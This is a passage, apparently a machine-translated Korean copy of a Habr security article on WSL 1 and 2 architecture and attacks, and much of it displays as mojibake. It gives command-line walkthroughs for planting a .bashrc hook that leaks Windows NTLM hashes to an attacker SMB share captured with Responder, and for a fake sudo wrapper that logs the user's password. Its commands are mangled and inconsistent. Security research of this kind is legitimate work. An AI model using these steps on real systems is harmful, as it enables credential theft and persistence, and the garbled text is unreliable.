์๋
, ํ๋ธ๋ฅด! OTUS๋ XNUMX์์ ์๋ก์ด ์ฝ์ค ์คํธ๋ฆผ์ ์ถ์ํฉ๋๋ค.
2016๋
์ Microsoft๋ IT ์ปค๋ฎค๋ํฐ์ ์๋ก์ด WSL ๊ธฐ์ ์ ๋์
ํ์ต๋๋ค(Windows Sํ์ ์์คํ
Linux)๋ ์์ผ๋ก ์ผ๋ฐ OS ์ฌ์ฉ์์ ๊ณ ๊ธ OS ์ฌ์ฉ์์ธ Windows ๋ฐ Linux ์ฌ์ด์์ ์ธ๊ธฐ๋ฅผ ์ํด ์ธ์ฐ๊ณ ์๋ ์ด์ ์ ํํดํ ์ ์์๋ ๊ฒฝ์์ฌ๋ฅผ ํตํฉํ ์ ์๊ฒ ๋์์ต๋๋ค. ์ด ๊ธฐ์ ์ ํตํด ๋ฉํฐ๋ถํธ(Multi-boot) ๋ฑ์ ์ด์ฉํด ๋ฆฌ๋
์ค๋ฅผ ์คํํ ํ์ ์์ด ์๋์ฐ ํ๊ฒฝ์์ ๋ฆฌ๋
์ค OS ๋๊ตฌ๋ฅผ ์ฌ์ฉํ ์ ์๊ฒ ๋๋ค. Habr์์๋ WSL ์ฌ์ฉ์ ์ด์ ์ ์ค๋ช
ํ๋ ์๋ง์ ๊ธฐ์ฌ๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ํ๊น๊ฒ๋ ์ด ๊ธฐ์ฌ๋ฅผ ์์ฑํ ๋น์์๋ ์ด ๋ฆฌ์์ค์์ ์ด๋ฌํ ์ด์ ์ฒด์ ๊ณต์์ ๋ณด์์ ๋ํ ์ฐ๊ตฌ๋ฅผ ์ฐพ์ ์ ์์์ต๋๋ค. ์ด๋ฒ ํฌ์คํ
์ ์ด๋ฅผ ๋ฐ๋ก์ก๊ธฐ ์ํ ์๋๊ฐ ๋ ๊ฒ์
๋๋ค. ์ด ๊ธฐ์ฌ์์๋ WSL 1 ๋ฐ 2 ์ํคํ
์ฒ์ ๊ธฐ๋ฅ์ ๋ํด ์ค๋ช
ํ๊ณ ์ด๋ฌํ ๊ธฐ์ ์ ์ฌ์ฉํ๋ ์์คํ
์ ๋ํ ๊ณต๊ฒฉ์ ์ฌ๋ฌ ์๋ฅผ ๊ฒํ ํฉ๋๋ค. ๊ธฐ์ฌ๋ 2๋ถ๋ถ์ผ๋ก ๋๋์ด์ ธ ์์ต๋๋ค. ์ฒซ ๋ฒ์งธ๋ Linux์ Windows์ ์ฃผ์ ์ด๋ก ์ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ ์ ๊ณตํฉ๋๋ค. ๋ ๋ฒ์งธ ๊ธฐ์ฌ์๋ ํ
์คํธ ํ๊ฒฝ์ ์ค์ ํ๊ณ ๊ณต๊ฒฉ์ ์ฌํํ๋ ๋ด์ฉ์ด ํฌํจ๋ฉ๋๋ค.
WSL 1: ์ํคํ ์ฒ ๊ธฐ๋ฅ
WSL ๋ณด์ ๋ฌธ์ ๋ฅผ ๊ฐ์ฅ ์ ํํ๊ฒ ์กฐ์ฌํ๋ ค๋ฉด ํ์ ์์คํ ๊ตฌํ๊ณผ ๊ด๋ จ๋ ์ฃผ์ ์ฐจ์ด์ ์ ํ์ ํด์ผ ํฉ๋๋ค. WSL์ด ํด๊ฒฐํ๋ ์ฃผ์ ์ฌ์ฉ์ ์์ ์ค ํ๋๋ Windows OS๋ฅผ ์คํํ๋ ํธ์คํธ์์ Linux ํฐ๋ฏธ๋์ ํตํด ์์ ํ ์ ์๋ ๊ธฐ๋ฅ์ ๋๋ค. ๋ํ ์ ๊ณต๋๋ ํธํ์ฑ์ ๋งค์ฐ ๊ธฐ๋ณธ์ ์ด์ด์ Linux ์คํ ํ์ผ(ELF)์ Windows ์์คํ ์์ ์ง์ ์คํํ ์ ์์ต๋๋ค. ์ด๋ฌํ ๋ชฉํ๋ฅผ ๋ฌ์ฑํ๊ธฐ ์ํด Windows 10์์๋ ํน์ ์์คํ ํธ์ถ ์งํฉ์ ์ฌ์ฉํ์ฌ Linux ์์ฉ ํ๋ก๊ทธ๋จ์ ์คํํ ์ ์๋ ํน์ ํ์ ์์คํ ์ด ๋ง๋ค์ด์ก์ต๋๋ค. ๋ฐ๋ผ์ Windows์์ Linux syscall ์งํฉ์ ๋งคํํ๋ ค๋ ์๋๊ฐ ์ด๋ฃจ์ด์ก์ต๋๋ค. ์ด๋ ์๋ก์ด ๋๋ผ์ด๋ฒ์ ์๋ก์ด ํ๋ก์ธ์ค ํ์์ ์ถ๊ฐํ์ฌ ๋ฌผ๋ฆฌ์ ์ผ๋ก ๊ตฌํ๋์์ต๋๋ค. ์๊ฐ์ ์ผ๋ก ์ํคํ ์ฒ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
์ค์ ๋ก Linux ์ด์ ์ฒด์ ์์ ์ํธ ์์ฉ์ ์ฌ๋ฌ ์ปค๋ ๋ชจ๋๊ณผ ํน์ ์ ํ์ ํ๋ก์ธ์ค์ธ pico๋ฅผ ํตํด ๊ตฌ์ฑ๋์์ต๋๋ค. ์ ๋ค์ด์ด๊ทธ๋จ์์ ํธ์คํธ์ Linux ์ธ์คํด์ค์์ ์คํ๋๋ ํ๋ก์ธ์ค๋ ๊ธฐ๋ณธ์ด์ด์ผ ํ๋ฉฐ ์ผ๋ฐ Windows ์ ํ๋ฆฌ์ผ์ด์
๊ณผ ๋์ผํ ๋ฆฌ์์ค๋ฅผ ์ฌ์ฉํด์ผ ํจ์ ์ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ด๊ฒ์ ๋ฌ์ฑํ๋ ๋ฐฉ๋ฒ์ ๋ฌด์์
๋๊น? ํ๋ก์ ํธ์์
์ ์๋ ์ถ์ํ๋ ๋ค๋ฅธ OS์ ํ๋ก์ธ์ค๊ฐ ์์๋ ๊ฒ์ผ๋ก ์์๋๋ ์ด์ ์ฒด์ (ํนํ Windows)์ ์ด์ ์ ๋ง์ถ์ง ์๊ณ ์ผ๋ฐ์ ์ธ ์ ๊ทผ ๋ฐฉ์์ ์ ์ํ๋ ๊ฒ์ ๊ฐ๋ฅํ๊ฒ ํ์ต๋๋ค.
๋ฐ๋ผ์ pico ํ๋ก์ธ์ค ๋ด๋ถ์ ๋ชจ๋ ์ ํ๋ฆฌ์ผ์ด์ ์ Windows ์ปค๋์ ๊ด๊ณ์์ด ์คํ๋ ์ ์์ต๋๋ค.
- ์์คํ ํธ์ถ์ ํธํ์ฑ ๋ฐ ๋ณํ ๋ฌธ์ ๋ ํน์ ๊ณต๊ธ์๊ฐ ํด๊ฒฐํด์ผ ํฉ๋๋ค.
- ์ ๊ทผ ํต์ ๋ ๋ณด์ ๋ชจ๋ํฐ๋ฅผ ํตํด ์ด๋ฃจ์ด์ ธ์ผ ํฉ๋๋ค. ๋ชจ๋ํฐ๋ ์ปค๋์ ์์ผ๋ฏ๋ก Windows์์๋ ํด๋น ํ๋ก์ธ์ค์ ๋ํ ๊ณต๊ธ์ ์ญํ ์ ํ ์ ์๋ ์ ๋๋ผ์ด๋ฒ ํํ๋ก ์ ๊ทธ๋ ์ด๋๊ฐ ํ์ํ์ต๋๋ค. ํ๋กํ ํ์ ํผ์ฝ ํ๋ก์ธ์ค๋ ์๋์ ๊ฐ๋ต์ ์ผ๋ก ์ ์๋์ด ์์ต๋๋ค.
Linux ํ์ผ ์์คํ
์ ๋์๋ฌธ์๋ฅผ ๊ตฌ๋ถํ๋ ํ์ผ ๋ฐ ๋๋ ํฐ๋ฆฌ ์ด๋ฆ์ ์ฌ์ฉํ๋ฏ๋ก WSL๊ณผ ํจ๊ป ์๋ํ๊ธฐ ์ํด VolFS ๋ฐ DriveFS๋ผ๋ ๋ ๊ฐ์ง ์ ํ์ ํ์ผ ์์คํ
์ด Windows์ ์ถ๊ฐ๋์์ต๋๋ค. VolFS๋ Linux ํ์ผ ์์คํ
์ ๊ตฌํ์ด๊ณ , DriveFS๋ Windows ๊ท์น์ ๋ฐ๋ผ ์๋ํ์ง๋ง ๋์๋ฌธ์ ๊ตฌ๋ถ์ ์ ํํ ์ ์๋ ํ์ผ ์์คํ
์
๋๋ค.
WSL 2
WSL 1์๋ ์ต๋ ๋ฒ์์ ์์ ์ ํด๊ฒฐํ๋ ๋ฐ ์ฌ์ฉํ ์ ์๋ ์ฌ๋ฌ ๊ฐ์ง ์ ํ ์ฌํญ์ด ์์์ต๋๋ค. ์๋ฅผ ๋ค์ด 32๋นํธ Linux ์ ํ๋ฆฌ์ผ์ด์ ์ ์คํํ ์ ์๊ณ ์ฅ์น ๋๋ผ์ด๋ฒ๋ฅผ ์ฌ์ฉํ ์ ์์์ต๋๋ค. ๋ฐ๋ผ์ 2020๋ ์๋ WSL 2๊ฐ ์ถ์๋์ด ํ์ ์์คํ ๊ตฌ์ถ์ ๋ํ ์ ๊ทผ ๋ฐฉ์์ด ๋ณ๊ฒฝ๋์์ต๋๋ค. WSL 2๋ WSL 1์ ๋ฆฌ์์ค ์๋น ํน์ฑ๊ณผ ์ผ์นํ๋ ์ต์ ํ๋ ๊ฐ์ ๋จธ์ ์ ๋๋ค. ์ด์ Windows OS ์ฌ์ฉ์๊ฐ ํด๊ฒฐํ ๋ฌธ์ ์ ๋ฐ๋ผ ํ์ํ Linux ํ์ ์์คํ ๋ฒ์ ์ ์ ํํ ์ ์์ต๋๋ค. ๊ฐ๋ฅํ ์ทจ์ฝ์ ์ ์ํํ๊ธฐ ์ํด WSL 2๋ Windows 10์ Hyper-V๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ๊ตฌํ๋์์ต๋๋ค. ์ด ํ์์์ Windows๋ Linux ์ด์ ์ฒด์ ์ปค๋์ ๊ฒฉ๋ฆฌํ์ฌ ์คํํ ์ ์์ต๋๋ค. WSL ๋ฒ์ 1์ ์ด ๋ถ์ผ์ Windows ๊ฐ๋ฐ ๋ฐฉํฅ์ ๋ณด์ฌ์ฃผ๊ธฐ ์ํ ๋ฒ ํ ๊ธฐ๋ฅ์ผ๋ก ๋์ ๋์๊ธฐ ๋๋ฌธ์ Hyper-V๋ก์ ์ ํ์ด ๋ถ๊ฐํผํ๋ค๋ ์ ์ ๊ธฐ์ตํ ํ์๊ฐ ์์ต๋๋ค. ์ต์ข ์ํคํ ์ฒ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
์ด ๋ฒ์ ์์๋ Windows ๋ฐ Linux ์ปค๋์ด ์์ฒด ๋ฆฌ์์ค๋ฅผ ๊ฐ์ง๋ฉฐ ๊ต์ฐจ์ ์ ํ์ผ ์์คํ
์๋ง ์กด์ฌํ์ง๋ง ์ด ๊ต์ฐจ์ ์ ์์ ํ์ง ์์ต๋๋ค. ํ์ผ ์์คํ
๊ฐ์ ์ํธ ์์ฉ์ 9P ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ฌ ์๋ํ๋ ํด๋ผ์ด์ธํธ-์๋ฒ ๋ํผ๋ฅผ ํตํด ์ํ๋ฉ๋๋ค.
ํ์ฌ Microsoft๋ WSL 1๊ณผ WSL 2 ๊ฐ ์ ํ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค. ๋ ๋ฒ์ ๋ชจ๋ ์ฌ์ฉํ ์ ์์ต๋๋ค.
WSL ๋ณด์
ํ์ฌ ํฉ๋ฒ์ ์ธ OS ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ ํ์ ์์คํ ๊ฐ์ ํต์ ์ ๊ณต๊ฒฉํ๋ ๋ช ๊ฐ์ง ์ ๊ทผ ๋ฐฉ์์ ์ค๋ช ํ๋ ์ฌ๋ฌ ์์ ์ด ์์ต๋๋ค. ์ฐ๋ฆฌ๋ ๊ทธ๋ค์ ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํ์ฌ ๊ธ์ ์ฐ๋ ์์ ์์ ๊ณต๊ฒฉ์ ๊ด๋ จ์ฑ์ ํ์ธํ ๊ฒ์ ๋๋ค. ์ผ๋ฐ์ ์ธ ๊ณต๊ฒฉ ๋ฐ ์๋๋ฆฌ์ค ๋ชฉ๋ก:
1. ํ์ผ ์์คํ ๊ตฌํ: ์ก์ธ์ค ๊ถํ, ๊ณต์ ๋๋ ํฐ๋ฆฌ/๋ฐ์ดํฐ ๊ตํ ๋ฉ์ปค๋์ฆ์ ๊ฐ์ฉ์ฑ.
์ ๊ทผ ๊ท์น ์๋ฐ ์ฌ๋ถ๋ฅผ ํ์ธํ๊ธฐ ์ํด ์ฐ๊ตฌ๊ฐ ์ํ๋์์ต๋๋ค. ๋ฆฌ๋ ์ค FS->์๋์ฐ FS, ์๋์ฐ FS->๋ฆฌ๋ ์ค FS. ์ฐ๊ตฌ ๊ฒฐ๊ณผ์ ๋ฐ๋ฅด๋ฉด ๋์ OS ๋ด์์ ํน์ ํ์ผ์ ์์ ํ๋ ๊ธฐ๋ฅ์ด ์ ์ฆ๋์์ต๋๋ค. ํ์ผ ์์คํ ์ ์ผ๋ถ๋ฅผ ๋์ฒดํ๊ณ , ๋ณต์ ๋ณธ์ ๋ง๋ค๊ณ , ์ญ์ ํ๋ ค๋ ์๋๋ ์์์ต๋๋ค.
์๋๋ฆฌ์ค :
- A. Windows ์ด์ ์ฒด์ ๋ก๋ถํฐ์ ๊ณต๊ฒฉ - Linux OS์ /etc ๋๋ ํฐ๋ฆฌ์ ์๋ ํ์ผ ์์ .
- B. Linux ์ด์ ์ฒด์ ์ ๊ณต๊ฒฉ - ๋๋ ํฐ๋ฆฌ์ ํ์ผ ์์ :
C:Windows
,C:Program Files
,C:Users<User>
2. ๋คํธ์ํฌ ์คํ์ ๊ตฌํ.
์ฐ๊ตฌ๋ Windows์ Linux ์ด์ ์ฒด์ ์์ ๋ฐ์ํ ๊ณต๊ฒฉ ์ฌ๋ก๋ฅผ ์ฌ์ฉํ์ฌ ์ํ๋์์ต๋๋ค. ๋คํธ์ํฌ ์คํ์ ๊ธฐ๋ฅ, ์ฆ ๋ค์ํ ๋ฆฌ์์ค์ ๋ํ ์ธ์ฆ ๋ฉ์ปค๋์ฆ์ด ์ฌ์ฉ๋์์ต๋๋ค.
์๋๋ฆฌ์ค :
- Windows ์์คํ ์์ ์ฌ์ฉ ์ค์ธ ํฌํธ์ ๋ํ ์ก์ธ์ค ์ด๊ธฐ
- ํด๋น ๊ถํ ์์ด ํฌํธ ์ด๊ธฐ
- Windows ์ด์ ์ฒด์ ์์ elf ํ์ผ์ ์ฌ์ฉํ์ฌ ๋ฆฌ๋ฒ์ค ์์ ์คํํฉ๋๋ค.
3. WSL ํ์ ์์คํ ์ ์ฌ์ฉํ์ฌ ์ ์ฑ ์ํํธ์จ์ด ํ๋ก์ธ์ค์ ์์์ ์จ๊น๋๋ค.
์ด ์ฐ๊ตฌ๋ WSL 1์ ๊ฒฝ์ฐ ์ด์ ์ฒด์ ์ ํฉ๋ฒ์ ์ธ ๊ณต๊ธ์๋ฅผ ์ฌ์ฉํ์ฌ ์๋ํ๋ ๋ค๋ฅธ ์ปค๋์์ ๋ณด์ ํ์ ์์คํ ์ด ์ด๋ฒคํธ๋ฅผ ๊ฐ๋ก์ฑ ์ ์๋ค๋ ๋จ์ํ ์ฌ์ค์ ๊ธฐ๋ฐ์ ๋๊ณ ์์ต๋๋ค. WSL 2์ ๊ฒฝ์ฐ ๋ฐ์ํ๋ ์ด๋ฒคํธ๋ฅผ ๋ณผ ์ ์๋ ๋ฐฉ๋ฒ์ด ์์ต๋๋ค. ๊ฒฝ๋ ๊ฐ์ ๋จธ์ ๋ด์ ๋ณ๋ ์ปค๋์ ์์ต๋๋ค.
์๋๋ฆฌ์ค :
1) ์์คํ ์ ๋ํ ์๊ฒฉ ์ก์ธ์ค๋ฅผ ์ํ ์ ํ๋ฆฌ์ผ์ด์ ์ ์คํํ๊ณ ๊ธฐ๋ก๋ ์ด๋ฒคํธ๋ฅผ ํ์ธํฉ๋๋ค.
WSL 1 ์คํ: ํด์ ๊ฐ๋ก์ฑ๊ธฐ(Windows)
๋ง์นจ๋ด ์ฐ๋ฆฌ๋ ์ค์ฉ์ ์ธ ๋ถ๋ถ์ ๋๋ฌํ์ต๋๋ค. ๋จผ์ ํ ์คํธ ํ๊ฒฝ์ ์ค์ ํด์ผ ํฉ๋๋ค. ๋ชจ๋ ์คํ์ Windows 10 2004๊ฐ ์ค์น๋ ๋ฒค์น์์ ์ํ๋๋ฉฐ Ubuntu 18.04 ์ด๋ฏธ์ง๊ฐ WSL์ ์ด์ ์ฒด์ ์ด๋ฏธ์ง๋ก ์ ํ๋์์ต๋๋ค. ์ด๋ฏธ์ง๋ ๋ฌด์์๋ก ์ ํ๋์์ผ๋ฉฐ ๋ค๋ฅธ ์ด๋ฏธ์ง๋ ๋์ผํ๊ฒ ์๋ํฉ๋๋ค. ์คํ ๋ ์ค์ ๋ช ๋ น:
๋จผ์ ์คํํด์ผ ํฉ๋๋ค. powershell.exe
๊ด๋ฆฌ์๋ก.
WSL 1์ ๊ฒฝ์ฐ ๋ค์ ๋ช ๋ น์ ์คํํด์ผ ํฉ๋๋ค.
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #ะะบะปััะธัั ััะฝะบัะธั WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #ะะฐะณััะทะธัั ะพะฑัะฐะท Linux ะธะท ะผะฐะณะฐะทะธะฝะฐ Microsoft
Ubuntu.appx install โroot #ะฃััะฐะฝะพะฒะธะผ ะพะฑัะฐะท
ะะพะทะผะพะถะฝะพ, ะฟัะธะดะตััั ะฟัะพะบะปะธะบะฐัั ะฟัะพัะตัั ะฝะฐัััะพะนะบะธ ะธ ัะพะทะดะฐัั ะฝะพะฒะพะณะพ ะฟะพะปัะทะพะฒะฐัะตะปั, ะบะพัะพััะน ะฑัะดะตั ะธะผะตัั ะผะตะฝััะต ะฟัะฐะฒ, ัะตะผ root. ะะปั ะฝะฐัะธั
ัะตััะพะฒ ััะพ ะฑัะดะตั ะพะฑััะฝัะน ะฟะพะปัะทะพะฒะฐัะตะปั sam.
Restart-Computer #ะะตัะตะทะฐะณััะทะธะผ
์คํ ๋๋ฅผ ์ฌ๋ถํ ํ ํ bash ๋ช ๋ น์ ํธ์ถํ ์ ์์ต๋๋ค. ๋ชจ๋ ๊ฒ์ด ์ฌ๋ฐ๋ฅด๊ฒ ์๋ํ๋ฉด Windows ์ฝ์์ ๋ค์๊ณผ ์ ์ฌํ ์ถ๋ ฅ์ด ํ์๋ฉ๋๋ค.
Kali Linux ๋ฐฐํฌํ์ ๊ณต๊ฒฉ์์ ๋จธ์ ์ผ๋ก ์ฌ์ฉํ ๊ฒ์ด๋ฉฐ, ๋ชจ๋ ๋จธ์ ์ ๋์ผํ ๋ก์ปฌ ๋คํธ์ํฌ์ ์์ด์ผ ํฉ๋๋ค.
Windows ์์คํ
์์ WSL์ ๋ํ ๊ถํ ์๋ ์ก์ธ์ค๊ฐ ์๋ค๊ณ ๊ฐ์ ํด ๋ณด๊ฒ ์ต๋๋ค. ๋ฆฌ๋
์ค์์ ๋ช
๋ น์ด๋ฅผ ํธ์ถํด ๋ฆฌ๋
์ค ์ด์์ฒด์ ๋ฅผ ๊ณต๊ฒฉํด ๋ณด์. ๊ณต๊ฒฉ์ ๊ตฌํํ๊ธฐ ์ํด ๊ฐ๋จํ ์๋ ์คํ ๊ธฐ์ ์ ์ฌ์ฉํฉ๋๋ค. Linux ํ๊ฒฝ์์ ์คํํ ์คํฌ๋ฆฝํธ๋ฅผ ์ถ๊ฐํฉ๋๋ค. ์ด๋ ๊ฒ ํ๋ ค๋ฉด ํ์ผ์ ๋ณ๊ฒฝํด์ผ ํฉ๋๋ค. .bashrc
.
WSL์ด ์๋ ๋จธ์ ์์๋ ๋ค์์ ์คํํฉ๋๋ค.
1. bash
2. ะะตัะตั
ะพะดะธะผ ะฒ ะดะพะผะฐัะฝัั ะดะธัะตะบัะพัะธั ะฟะพะปัะทะพะฒะฐัะตะปั: cd /home/sam/
2. echo ยซ/home/sam/.attack.shยป >> .bashrc
3. echo ยซicalcs.exe ยป \\\\attacker_ip\\shareName\\ยป > /dev/null 2>&1ยป >> .attack.sh
4. chmod u+x .attack.sh
5. exit
Kali Linux ๋จธ์ ์์๋ ๋ค์์ ์คํํฉ๋๋ค.
1. Responder -I eth0 -rdvw
Windows ๋จธ์ ์์ bash๋ฅผ ์คํํด ๋ณด๊ฒ ์ต๋๋ค.
Kali Linux ๋จธ์ ์์ ๊ฒฐ๊ณผ๋ฅผ ๊ธฐ๋ค๋ฆฌ๊ณ ์์ต๋๋ค.
๋ฐ๋ผ์ ์ฐ๋ฆฌ๋ Linux ์์คํ
์์ ๋ช
๋ น์ ์คํํ์ฌ WSL ํ์ ์์คํ
์ ํตํด Windows ์ฌ์ฉ์ ํด์๋ฅผ ์ป์์ต๋๋ค.
WSL 1 ์คํ: ์ฌ์ฉ์ ๋น๋ฐ๋ฒํธ ์ป๊ธฐ(Linux OS)
ํ ๊ฐ์ง ์คํ์ ๋ ํด๋ณด์. ์ด ํ์ธ ๊ณผ์ ์์ ํ์ผ์ ์ถ๊ฐํ๊ฒ ์ต๋๋ค. .bashrc
Linux ์ด์ ์ฒด์ ์ฌ์ฉ์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ป๊ธฐ ์ํ ์ฌ๋ฌ ๋ช
๋ น.
Bash๋ฅผ ์์ํ๊ณ ๋ค์ ๋ช ๋ น์ ์ ๋ ฅํด ๋ณด๊ฒ ์ต๋๋ค.
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtยป >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
๊ณต๊ฒฉ์ ์ฑ๊ณต์ ์ผ๋ก ์๋ฃํ๋ ค๋ฉด ์ฌ์ฉ์ Sam์ด Linux ํฐ๋ฏธ๋์์ sudo๋ฅผ ํธ์ถํด์ผ ํฉ๋๋ค. ๊ทธ๋ฐ ๋ค์ Linux OS ์ฌ์ฉ์ ๋น๋ฐ๋ฒํธ๊ฐ ํ์ผ์ ํฌํจ๋ฉ๋๋ค. pass.txt
:
๊ณต๊ฒฉ์ ๊ตฌํ์ ์ด๋ก ์ ์ ๋ณด๋ง์ ์ ๊ณตํ์ต๋๋ค.
๊ธฐ์ฌ์ ๋ค์ ๋ถ๋ถ์์๋ 9P ํ๋กํ ์ฝ์ ๊ตฌํ์ ์ค๋ช ํ๊ณ , ์ด ํ๋กํ ์ฝ์ ๋ํ ์ค์บ๋ ์์ฑ์ ๊ณ ๋ คํ๊ณ , ์ด๋ฅผ ์ฌ์ฉํ์ฌ ๊ณต๊ฒฉ์ ์ํํ๋ ๋ฐฉ๋ฒ๋ ์ค๋ช ํฉ๋๋ค.
์ฌ์ฉ ๋ ๋ฌธํ ๋ชฉ๋ก
๋ ์ฝ์ด๋ณด๊ธฐ
์ถ์ฒ : habr.com